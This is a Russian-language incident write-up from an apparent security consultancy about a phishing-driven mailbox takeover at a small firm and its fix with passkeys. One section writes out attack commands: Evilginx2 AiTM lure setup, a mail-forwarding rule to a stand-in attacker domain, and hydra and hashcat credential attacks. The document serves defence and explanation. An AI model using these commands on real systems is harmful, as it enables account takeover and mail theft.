CIOlogia Безопасность бизнеса · не на словах, а с доказательствами
← Все разборы Информационная безопасность

Как один украденный пароль почти обошёлся малому бизнесу в остановку работы — и почему passkeys закрыли эту дыру навсегда

Разбираем реальный (обезличенный) случай: сотрудник ввёл пароль на фишинговой странице, компания на несколько часов потеряла контроль над почтой. Показываем техническую механику атаки и конкретный план перехода на passkeys без хаоса.

Разбор CIOlogia

Клиент — небольшая сервисная компания, 20 сотрудников, стандартный стек: почта в облаке, CRM, бухгалтерия на удалённом доступе. На бумаге всё выглядело прилично: пароли сложные, политика их смены раз в 90 дней, антивирус на всех машинах. Проблема была не в «отсутствии защиты», а в том, что вся защита держалась на одном хрупком элементе — пароле в голове сотрудника.

Два симптома привели нас в компанию. Первый — тихий и дорогой: HR-менеджер и бухгалтер вдвоём тратили 5-6 часов в месяц на сброс паролей, разблокировку учёток после неудачных попыток входа и объяснения по телефону «а где эта галочка». Второй — громкий: один сотрудник ввёл пароль от корпоративной почты на фишинговой странице, имитирующей форму входа Outlook Web Access. В течение часа злоумышленник зашёл в почтовый ящик, настроил правило автоматической переадресации входящих писем на внешний адрес и попытался развить BEC-атаку (подмену реквизитов в переписке с контрагентом). Атаку заметили случайно — бухгалтер удивилась, почему письмо с актом сверки от партнёра пришло с чуть другого адреса.

Как это эксплуатируется

Механика классическая, и именно её массовость делает пароль главной точкой входа в 2024-2026 годах. Разбираем по шагам, как это обычно выглядит с инструментальной стороны — независимо от конкретной жертвы.

Шаг 1. Разведка почтового контура

nmap -p 25,80,443,587,993,995 -sV mail.target-company.ru

PORT    STATE SERVICE VERSION
443/tcp open  https   nginx (reverse proxy to Exchange/OWA)
587/tcp open  smtp    Microsoft ESMTP MAIL Service
993/tcp open  imaps   Dovecot imapd

Атакующему достаточно узнать, какой почтовый провайдер используется (Exchange Online, Google Workspace, самописный IMAP), чтобы подобрать шаблон фишинговой страницы. Заголовки ответов часто сдают провайдера напрямую:

curl -sI https://mail.target-company.ru/owa/
HTTP/1.1 302 Found
Location: /owa/auth/logon.aspx
X-OWA-Version: 15.2.1258.28

Шаг 2. Фишинговая страница и AiTM

Для обхода даже классических OTP-кодов давно используются AiTM-фреймворки (adversary-in-the-middle), например Evilginx2: он поднимает прозрачный прокси, который в реальном времени пересылает запросы к настоящему серверу авторизации, а у себя ворует и логин/пароль, и сессионный cookie после второго фактора.

: evilginx2 > phishlets hostname o365 mail.target-company-login.com
: evilginx2 > lures create o365
: evilginx2 > lures get-url 0
[+] https://mail.target-company-login.com/x7g2k

Сотрудник вводит логин, пароль и код из приложения-аутентификатора на фишинговом домене, который визуально идентичен настоящему. Evilginx перехватывает валидную сессионную cookie — MFA-приложение при этом «сработало правильно», но защитило вход не туда.

Шаг 3. Закрепление в почте

Дальше — типовые действия внутри ящика, которые редко замечают вовремя:

# через IMAP с украденными кредами
curl --url 'imaps://mail.target-company.ru' --user 'user@target.ru:StolenP@ss1' \
  -X 'CREATE "Inbox/._archive_hidden"'

# создание правила переадресации через EWS/PowerShell
New-InboxRule -Mailbox "user@target.ru" -Name "sync" \
  -ForwardTo "collector@attacker-domain.com" -StopProcessingRules $true

Правило переадресации маскируется под системное («sync», «backup») и не выводится в обычном интерфейсе Outlook — только в расширенных настройках или логах аудита Exchange (Search-MailboxAuditLog, Get-InboxRule).

Шаг 4. Проверка на массовость: credential stuffing

Если пароль сотрудника где-то «утёк» ещё раньше (например, в базе стороннего сервиса), его проверяют по всем корпоративным точкам входа автоматически:

hydra -l user@target.ru -P leaked_passwords.txt imaps://mail.target-company.ru
[993][imap] host: mail.target-company.ru   login: user@target.ru   password: Summer2023!

А если утекли хеши (например, из старой NTLM-базы после локального инцидента), их добивают offline:

hashcat -m 1000 ntlm_hashes.txt rockyou.txt --force
Hash:Password
a94a8fe5ccb19ba61c4c0873d391e987:Company2024!

Что и почему сработало бы дальше

Доступ к рабочей почте — это не конечная цель, а плацдарм. Дальше типичная цепочка развития выглядит так:

  • BEC (Business Email Compromise). Из истории переписки берётся реальный контрагент и реальная сумма, письмо с изменёнными реквизитами отправляется бухгалтеру именно тогда, когда ждут оплату — конверсия такой атаки исторически кратно выше холодного фишинга.
  • Сброс паролей в смежных сервисах. Почта — это «мастер-ключ» восстановления доступа: через неё сбрасываются пароли в CRM, банк-клиенте, облачном хранилище, домене регистратора.
  • Горизонтальное перемещение. Если в компании есть RDP или VPN с той же учётной записью и MFA-фатигом (когда сотрудники привыкли нажимать «подтвердить» на push-уведомлении не глядя), захват учётки почты часто сопровождается попыткой зайти и туда же — nmap -p 3389,1194,443 по внутренним адресам после получения VPN-конфига из вложений в почте.
  • Цена в рублях. Для компании из 20 человек речь обычно идёт не о разовом платеже мошенникам (хотя и это бывает — суммы от 150 000 до нескольких миллионов рублей за один поддельный счёт), а о совокупности: простой бухгалтерии и HR на 1-2 рабочих дня, репутационный ущерб перед контрагентом, которому ушло письмо с чужими реквизитами, и часы ИТ-специалиста на расследование и чистку правил в почте.

Полутехнические пруфы, на которые стоит смотреть

  • В логах Exchange/EWS — правила InboxRule с ForwardTo на внешний домен, созданные не через штатный интерфейс пользователя.
  • Аномальный Impossible travel в Azure AD Sign-in logs: вход из региона сотрудника и через 5 минут — из другой страны с того же аккаунта.
  • Отсутствие или мягкая настройка DMARC/DKIM/SPF на домене компании — без них подделать письмо «от имени» коллеги для второй фазы атаки заметно проще: dig target-company.ru TXT | grep -i dmarc часто выдаёт пустоту или политику p=none.
  • Включённый Legacy Authentication (POP/IMAP/SMTP AUTH basic) в Microsoft 365 — именно он обходит условный доступ и современный MFA, оставляя лазейку для brute-force и password spray.

Как закрыли: переход на passkeys

Passkeys (стандарт FIDO2/WebAuthn) убирают саму сущность, которую воруют — пароль. Приватный ключ никогда не покидает устройство или аппаратный токен, сервер получает только криптографическую подпись на конкретный домен. Это делает классический фишинг и AiTM-прокси (тот же Evilginx) бессмысленными: даже если сотрудник попадёт на поддельную страницу, браузер физически не отдаст ей подпись, потому что домен не совпадает с тем, для которого ключ был создан.

Шаги пилота

  1. Инвентаризация систем с поддержкой WebAuthn. Проверяется почта (Microsoft 365/Google Workspace поддерживают native passkeys), CRM, VPN-клиент, панель хостинга. Быстрый чек-лист по каждому сервису:
    curl -s https://accounts.google.com/.well-known/webauthn-configuration
    # или в документации вендора искать "FIDO2" / "security keys" / "passkeys"
  2. Выбор резервного фактора. На случай утери устройства — второй зарегистрированный ключ (обычно аппаратный, хранится в сейфе или у ИТ-администратора) плюс временный backup-код, который выдаётся один раз и хранится офлайн, а не в почте.
  3. Поэтапное отключение legacy-входа. Сначала для новых сотрудников и «пилотной» группы, затем для всех — с обязательным закрытием старых протоколов:
    # Microsoft 365 / Exchange Online, отключение Basic Auth
    Set-AuthenticationPolicy -Identity "Block Basic Auth" `
      -AllowBasicAuthImap $false -AllowBasicAuthPop $false -AllowBasicAuthSmtp $false
    
    # Условный доступ Azure AD: требовать phishing-resistant MFA
    New-MgIdentityConditionalAccessPolicy -DisplayName "Require FIDO2" `
      -GrantControls @{ BuiltInControls = @("mfa"); AuthenticationStrength = "phishingResistant" }
  4. Обучение за один короткий созвон. Не «курс по кибербезопасности», а 15 минут: как зарегистрировать ключ, что делать при потере телефона, почему теперь незачем что-либо запоминать.
  5. Контрольный аудит. После включения passkeys стоит прогнать симуляцию фишинга через собственную инфраструктуру (например, gophish) — не чтобы наказать сотрудников, а чтобы убедиться, что даже те, кто кликнул по ссылке, физически не смогли отдать секрет.

Что дополнительно закрыли параллельно

  • Настроили строгую политику DMARC (p=reject) вместо мягкой, чтобы письма с подделанным доменом отправителя блокировались до попадания в ящик получателя.
  • Включили аудит правил почтовых ящиков с автоматическим алертом на любое новое правило переадресации на внешний домен.
  • Убрали Legacy Authentication на почтовом контуре полностью — это закрыло целый класс атак credential stuffing и password spray, которые обходили MFA до этого.

Экономика пилота считалась просто: стоимость лицензий и настройки для 20 человек оказалась меньше одного часа простоя бухгалтерии во время инцидента с почтой, не говоря уже о риске реальной оплаты по поддельному счёту. После пилота тикеты на сброс пароля исчезли как класс — вместе с ними исчезла и главная точка входа, на которой держалась почти половина инцидентов у клиентов такого масштаба.